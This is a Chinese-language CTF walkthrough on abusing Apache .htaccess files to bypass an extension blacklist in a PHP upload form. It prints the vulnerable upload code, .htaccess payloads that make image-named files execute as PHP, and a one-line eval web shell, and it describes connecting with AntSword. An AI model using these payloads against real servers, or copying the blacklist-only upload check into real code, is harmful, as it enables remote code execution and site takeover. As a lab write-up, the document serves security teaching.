.htaccess文件上传漏洞

.htaccess原理

.htaccess文件是Apache服务器下的一个配置文件。其主要负责相关目录下的网页配置,即:在一个特定的文档目录中放置一个包含一个或多个指令的文件来对网页进行配置。 不过需要注意的是,.htaccess文件的作用域为其所在目录与其所有的子目录,不过若是子目录也存在.htaccess文件,则会覆盖父目录的.htaccess效果。

下面是一个.htaccess文件的实例。

代码语言:javascript
复制
<ifModule mime_module>

AddHandler php5-script .jpg
<!-- 将.jpg文件按照php代码进行解析执行 -->

AddType application/x-httpd-php .jpg
<!-- 将.jpg文件按照php代码进行解析执行 -->

Sethandler application/x-httpd-php
<!-- 将该目录及子目录下的文件均按照php文件解析执行 -->

</ifModule>
<!-- 该种匹配方式并不推荐,极易造成误伤 -->

<FilesMatch "muma.jpg">

Sethandler application/x-httpd-php
<!-- 将匹配到的 muma.jpg 文件按照php解析执行 -->

Addhandler php5-script .jpg
<!-- 将匹配到的 muma.jpg 文件按照php解析执行 -->

</FilesMatch>
<!-- 该种匹配方式较为精准,不会造成大批的误伤情况 -->

  • Sethandler 指令:
    将该目录及子目录的所有文件均映射为php文件类型
  • Addhandler 指令:
    使用 php5-script 处理器来解析所匹配到的文件
  • AddType 指令
    将特定扩展名文件映射为php文件类型

例题

先看下源代码。

代码语言:javascript
复制
<?php

if (!empty($_POST['submit'])) {
name = basename(_FILES['file']['name']);
ext = pathinfo(name)['extension'];
$blacklist = array("php", "php7", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf");
if (!in_array(ext, blacklist)) {
if (move_uploaded_file(_FILES[&#39;file&#39;][&#39;tmp_name&#39;], UPLOAD_PATH . name)) {
echo "<script>alert('上传成功')</script>";
echo "上传文件相对路径<br>" . UPLOAD_URL_PATH . $name;
} else {
echo "<script>alert('上传失败')</script>";
}
} else {
echo "<script>alert('文件类型不匹配')</script>";
}
}

?>

我们的PHP木马文件被网站黑名单拦截了,那我们就要考虑如何绕过。根据题目提示,要用.htaccess方法,htaccess不在黑名单文件内,那我们可以直接编写一个.htaccess文件进行上传,覆盖掉服务器本地的.htaccess文件。

编写.htaccess文件。这段代码的作用就是将所有包含shell的文件都当做php文件处理。

代码语言:javascript
复制
<FilesMatch "shell">
Sethandler application/x-httpd-php
</FilesMatch>

将这个.htaccess文件上传,然后将我们的一句话木马文件扩展名改为shell.jpg,然后上传。

代码语言:javascript
复制
<?php eval($_POST['shell']) ?>

前台显示上传成功,然后使用蚁剑连接,拿下flag。